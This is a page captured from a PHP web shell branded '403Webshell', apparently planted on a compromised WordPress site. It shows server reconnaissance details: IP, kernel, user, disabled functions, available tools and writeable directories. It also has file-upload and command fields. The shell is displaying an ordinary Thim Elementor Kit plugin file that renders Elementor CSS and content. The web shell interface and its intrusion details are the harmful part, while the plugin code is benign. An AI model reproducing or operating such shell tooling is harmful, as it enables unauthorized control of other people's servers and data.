403Webshell
Server IP : 172.67.147.195  /  Your IP : 216.73.216.142
Web Server : Apache/2
System : Linux hosting8537.lvs 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mienphi ( 1014)
PHP Version : 8.2.14
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mienphi/public_html/wp-content/plugins/thim-elementor-kit/inc/utilities/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mienphi/public_html/wp-content/plugins/thim-elementor-kit/inc/utilities/class-elementor.php
<?php

namespace Thim_EL_Kit\Utilities;

use Thim_EL_Kit\SingletonTrait;

class Elementor {
	use SingletonTrait;

	private static $printed_with_css = array();

	public function render_content_css( $id ) {
		if ( class_exists( '\Elementor\Core\Files\CSS\Post' ) ) {
			$css_file = new \Elementor\Core\Files\CSS\Post( $id );

			$meta = $css_file->get_meta();

			if ( $meta['status'] === $css_file::CSS_STATUS_FILE ) {
				ob_start();
				?>
				<link rel="stylesheet" id="elementor-post-<?php
				echo esc_attr( $id ); ?>-css" href="<?php
				echo esc_url( $css_file->get_url() ); ?>" type="text/css" media="all">
				<?php
				return ob_get_clean();
			}
		}
	}

	public function render_content( $id ) {
		// For wpml translate
		$id = apply_filters( 'wpml_object_id', $id, get_post_type( $id ), true );
		// End wpml translate
		return \Elementor\Plugin::instance()->frontend->get_builder_content_for_display( $id );
	}

	/**
	 * Undocumented function
	 *
	 * @param [type] $post_id post id
	 * @param [type] $template_id loop item template id
	 *
	 * @return void
	 */
	public function render_loop_item_content( $template_id ) {
		$document = \Elementor\Plugin::$instance->documents->get( $template_id );

		if ( ! $document ) {
			return;
		}

		// check if css elementor is enqueue.
		if ( empty( self::$printed_with_css[ $template_id ] ) ) {
			$this->print_loop_css( $template_id );
			self::$printed_with_css[ $template_id ] = true;
		}

		if ( \Elementor\Plugin::$instance->preview->is_preview_mode( $template_id ) ) {
			echo \Elementor\Plugin::$instance->preview->builder_wrapper( '' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		} else {
			$edit_mode = \Elementor\Plugin::$instance->editor->is_edit_mode();

			add_filter( 'elementor/frontend/builder_content/before_print_css',
				array( $this, 'prevent_inline_css_printing' ) );

			\Elementor\Plugin::$instance->editor->set_edit_mode( false );

			$content = do_shortcode( \Elementor\Plugin::$instance->frontend->get_builder_content( $template_id,
				false ) );

			remove_filter( 'elementor/frontend/builder_content/before_print_css',
				array( $this, 'prevent_inline_css_printing' ) );

			\Elementor\Plugin::$instance->editor->set_edit_mode( $edit_mode );

			echo $content; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		}
	}

	protected function print_loop_css( $id ) {
		$css_file = new \Elementor\Core\Files\CSS\Post( $id );
		$post_css = $css_file->get_content();

		if ( empty( $post_css ) ) {
			return;
		}

		echo '<style id="thim-ekit-loop-post-' . esc_attr( $id ) . '">' . $post_css . '</style>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
	}

	public function prevent_inline_css_printing() {
		return false;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit